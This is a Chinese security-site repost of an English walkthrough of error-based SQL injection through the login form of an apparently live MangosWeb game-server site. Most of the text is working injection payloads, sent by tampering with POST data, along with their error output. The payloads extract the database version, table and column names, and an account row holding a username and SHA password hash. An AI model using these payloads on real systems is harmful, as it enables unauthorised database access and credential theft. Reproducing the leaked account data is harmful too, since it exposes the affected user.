热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全

MangosWeb POST型SQL注入实战

发布时间:2012-02-27 23:24文章来源:网络文章作者:秩名 点击次数:
摘要:http://www.yunsec.net/wow/ Now POST SQL Injection can be done via seach boxes, login fields, and the direct POST content. Once you've found your site, try injecting your vulnerable field. I'm going to be using the login field in the top co...

http://www.yunsec.net/wow/

Now POST SQL Injection can be done via seach boxes, login fields, and the direct POST content.

Once you've found your site, try injecting your vulnerable field. I'm going to be using the login field in the top corner.

POST型SQL注入实战


I put a ' in both fields, now let's see if it triggers our error.

POST型SQL注入实战


Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE ''' LIMIT 1
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 1' at line 1


Now we got our error, perfect. Now I could stop here for the hell of it, because that's all POST SQL Injection is, is executing your queries through the POST data. This means you can use commands like order by and union select. I won't be using these because for this site I need to use error based. It's also string based. You should be focusing on how to send queries through POST content, not the actual queries anyways. Anyways, back on topic....

So I'm back to the login page again, let's try this one more time. I'll hop right into the error based queries..

Go to Tools > Tamper Data. Click start tamper, and continue with it.
Spoiler (Click to Hide)

POST型SQL注入实战

Now a new form should come up, and show all the POST content getting ready to be sent.

POST型SQL注入实战

My login parameter was set to %27, which is URL encoded for '
Now sometimes only one field will be vulnerable, but for this one it doesn't matter. Most fields also have a character limit, which is why you'll need Tamper Data. Now whatever POST parameter is vulnerable, you execute your query through it. I'll use username...

POST型SQL注入实战


Code:
POST DATA = '+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1-- x

Now click OK on tamper data and watch the query go through...

Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1.Error: Duplicate entry '5.5.20~1' for key 'group_key'

POST型SQL注入实战


Now you should see the version, and we now can move on and get the rest of what we want...
If you aren't too lazy to go back to the login page and repeat the process, click start tamper and refresh your page.
Tell FireFox to resend the data, and Tamper Data will popup again...

Code:
POST DATA = '+or+1+group+by+concat_ws(0x7e,(select+table_name+from+information_schema.tables​+where+table_schema=database()+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1-- x


Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1
Error: Duplicate entry 'account~1' for key 'group_key'

Spoiler (Click to Hide)

POST型SQL注入实战

Same deal-e-o. Rinse, wash, and repeat.

Code:
'+or+1+group+by+concat_ws(0x7e,(select+column_name+from+information_schema.colum​ns+where+table_name=0x6163636f756e74+limit+0,1),floor(rand(0)*2))+having+min(0)+​or+1-- x

Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,(select column_name from information_schema.columns where table_name=0x6163636f756e74 limit 0,1),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1
Error: Duplicate entry 'id~1' for key 'group_key'

Rinse, wash and repeat until you get what you want...

Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,(select column_name from information_schema.columns where table_name=0x6163636f756e74 limit 1,1),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1
Error: Duplicate entry 'username~1' for key 'group_key'


Code:
'+or+1+group+by+concat_ws(0x7e,(select+concat(id,0x7e,username,0x7e,sha_pass_has​h)+from+account+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1-- x

Code:
Couldnt Run Query: SELECT `email` FROM `account` WHERE `username` LIKE '' or 1 group by concat_ws(0x7e,(select concat(id,0x7e,username,0x7e,sha_pass_hash) from account limit 0,1),floor(rand(0)*2)) having min(0) or 1-- x' LIMIT 1
Error: Duplicate entry '1~Vextah~D67FFD63A8A230BC3104A8804B17F217307A6E90~1' for key 'group_key'

POST型SQL注入实战

Well, that's it for now. Make sure you focus on what the tutorial is about, and not the queries.

Let me know if you need anything.

标签分类: SQL注入

上一篇:注入技巧之绕过 "Illegal mix of collations" 错误
下一篇:PHP 中 shell_exec() 中的反撇号操作符的变体 可用作后门